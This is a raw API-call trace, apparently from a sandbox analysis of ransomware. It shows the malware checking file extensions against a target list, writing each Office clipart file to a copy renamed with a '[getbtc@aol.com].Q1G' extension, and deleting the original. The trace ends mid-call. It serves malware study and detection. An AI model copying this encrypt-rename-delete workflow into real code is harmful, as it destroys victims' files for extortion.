lstrlenW (lpString=".ppt") returned 4 [0244.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.974] lstrlenW (lpString=".zip") returned 4 [0244.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.974] lstrlenW (lpString=".rar") returned 4 [0244.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.974] lstrlenW (lpString=".bz2") returned 4 [0244.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.974] lstrlenW (lpString=".7z") returned 3 [0244.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.974] lstrlenW (lpString=".dbf") returned 4 [0244.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.974] lstrlenW (lpString=".1cd") returned 4 [0244.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0244.975] lstrlenW (lpString=".jpg") returned 4 [0244.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.975] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.975] lstrlenW (lpString="BS00092_.WMF") returned 12 [0244.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0244.986] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=7974) returned 1 [0244.987] CloseHandle (hObject=0x3bc) returned 1 [0244.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0244.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0244.987] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.987] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0244.987] GetLastError () returned 0x0 [0244.988] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1f26, lpOverlapped=0x0) returned 1 [0244.989] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0244.990] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.990] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.990] SetEndOfFile (hFile=0x3c0) returned 1 [0244.990] CloseHandle (hObject=0x3c0) returned 1 [0244.991] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.991] SetEndOfFile (hFile=0x3bc) returned 1 [0244.993] CloseHandle (hObject=0x3bc) returned 1 [0244.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0244.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.994] lstrlenW (lpString=".doc") returned 4 [0244.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.994] lstrlenW (lpString=".docx") returned 5 [0244.994] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.994] lstrlenW (lpString=".pdf") returned 4 [0244.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.994] lstrlenW (lpString=".xls") returned 4 [0244.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.994] lstrlenW (lpString=".xlsx") returned 5 [0244.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.994] lstrlenW (lpString=".ppt") returned 4 [0244.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.994] lstrlenW (lpString=".zip") returned 4 [0244.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.994] lstrlenW (lpString=".rar") returned 4 [0244.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.994] lstrlenW (lpString=".bz2") returned 4 [0244.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.994] lstrlenW (lpString=".7z") returned 3 [0244.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.994] lstrlenW (lpString=".dbf") returned 4 [0244.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.994] lstrlenW (lpString=".1cd") returned 4 [0244.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.995] lstrlenW (lpString=".jpg") returned 4 [0244.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.995] lstrlenW (lpString=".doc") returned 4 [0244.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.995] lstrlenW (lpString=".docx") returned 5 [0244.995] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.995] lstrlenW (lpString=".pdf") returned 4 [0244.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.995] lstrlenW (lpString=".xls") returned 4 [0244.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.995] lstrlenW (lpString=".xlsx") returned 5 [0244.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.995] lstrlenW (lpString=".ppt") returned 4 [0244.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.995] lstrlenW (lpString=".zip") returned 4 [0244.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.995] lstrlenW (lpString=".rar") returned 4 [0244.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.995] lstrlenW (lpString=".bz2") returned 4 [0244.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.995] lstrlenW (lpString=".7z") returned 3 [0244.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.995] lstrlenW (lpString=".dbf") returned 4 [0244.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.995] lstrlenW (lpString=".1cd") returned 4 [0244.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0244.995] lstrlenW (lpString=".jpg") returned 4 [0244.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.996] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.996] lstrlenW (lpString="BS00100_.WMF") returned 12 [0244.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0244.996] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2378) returned 1 [0244.996] CloseHandle (hObject=0x3bc) returned 1 [0244.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0244.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0244.997] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.997] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0244.998] GetLastError () returned 0x0 [0244.998] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x94a, lpOverlapped=0x0) returned 1 [0244.999] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x950, lpOverlapped=0x0) returned 1 [0245.000] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.000] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.000] SetEndOfFile (hFile=0x3c0) returned 1 [0245.000] CloseHandle (hObject=0x3c0) returned 1 [0245.001] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.001] SetEndOfFile (hFile=0x3bc) returned 1 [0245.004] CloseHandle (hObject=0x3bc) returned 1 [0245.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0245.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.005] lstrlenW (lpString=".doc") returned 4 [0245.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.005] lstrlenW (lpString=".docx") returned 5 [0245.005] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.005] lstrlenW (lpString=".pdf") returned 4 [0245.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.005] lstrlenW (lpString=".xls") returned 4 [0245.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.005] lstrlenW (lpString=".xlsx") returned 5 [0245.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.005] lstrlenW (lpString=".ppt") returned 4 [0245.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.005] lstrlenW (lpString=".zip") returned 4 [0245.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.005] lstrlenW (lpString=".rar") returned 4 [0245.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.005] lstrlenW (lpString=".bz2") returned 4 [0245.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.005] lstrlenW (lpString=".7z") returned 3 [0245.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.005] lstrlenW (lpString=".dbf") returned 4 [0245.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.005] lstrlenW (lpString=".1cd") returned 4 [0245.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.006] lstrlenW (lpString=".jpg") returned 4 [0245.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.006] lstrlenW (lpString=".doc") returned 4 [0245.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.006] lstrlenW (lpString=".docx") returned 5 [0245.006] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.006] lstrlenW (lpString=".pdf") returned 4 [0245.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.006] lstrlenW (lpString=".xls") returned 4 [0245.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.006] lstrlenW (lpString=".xlsx") returned 5 [0245.006] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.006] lstrlenW (lpString=".ppt") returned 4 [0245.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.006] lstrlenW (lpString=".zip") returned 4 [0245.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.006] lstrlenW (lpString=".rar") returned 4 [0245.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.006] lstrlenW (lpString=".bz2") returned 4 [0245.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.006] lstrlenW (lpString=".7z") returned 3 [0245.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.006] lstrlenW (lpString=".dbf") returned 4 [0245.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.006] lstrlenW (lpString=".1cd") returned 4 [0245.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0245.006] lstrlenW (lpString=".jpg") returned 4 [0245.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.007] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0245.007] lstrlenW (lpString="BS00135_.WMF") returned 12 [0245.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0245.007] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=1044) returned 1 [0245.007] CloseHandle (hObject=0x3bc) returned 1 [0245.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0245.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0245.008] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.008] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0245.008] GetLastError () returned 0x0 [0245.008] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x414, lpOverlapped=0x0) returned 1 [0245.010] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x420, lpOverlapped=0x0) returned 1 [0245.011] ReadFile (in: hFile=0x3bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.011] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0245.011] SetEndOfFile (hFile=0x3c0) returned 1 [0245.011] CloseHandle (hObject=0x3c0) returned 1 [0245.011] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.012] SetEndOfFile (hFile=0x3bc) returned 1 [0245.075] CloseHandle (hObject=0x3bc) returned 1 [0245.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0245.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0245.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.106] lstrlenW (lpString=".doc") returned 4 [0245.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.106] lstrlenW (lpString=".docx") returned 5 [0245.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.106] lstrlenW (lpString=".pdf") returned 4 [0245.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.106] lstrlenW (lpString=".xls") returned 4 [0245.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.106] lstrlenW (lpString=".xlsx") returned 5 [0245.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.106] lstrlenW (lpString=".ppt") returned 4 [0245.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.106] lstrlenW (lpString=".zip") returned 4 [0245.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.106] lstrlenW (lpString=".rar") returned 4 [0245.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.107] lstrlenW (lpString=".bz2") returned 4 [0245.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.107] lstrlenW (lpString=".7z") returned 3 [0245.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.107] lstrlenW (lpString=".dbf") returned 4 [0245.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0245.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.107] lstrlenW (lpString=".1cd") returned 4 [0245.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0245.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.107] lstrlenW (lpString=".jpg") returned 4 [0245.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0245.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.107] lstrlenW (lpString=".doc") returned 4 [0245.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0245.107] lstrlenW (lpString=".docx") returned 5 [0245.107] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0245.107] lstrlenW (lpString=".pdf") returned 4 [0245.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0245.107] lstrlenW (lpString=".xls") returned 4 [0245.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0245.107] lstrlenW (lpString=".xlsx") returned 5 [0245.107] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0245.107] lstrlenW (lpString=".ppt") returned 4 [0245.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0245.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0245.107] lstrlenW (lpString=".zip") returned 4 [0245.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0245.107] lstrlenW (lpString=".rar") returned 4 [0245.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0245.107] lstrlenW (lpString=".bz2") returned 4 [0245.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0245.108] lstrlenW (lpString=".7z") returned 3 [0245.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0245.108] lstrlenW (lpString="C:\\Program Files\\Microsoft 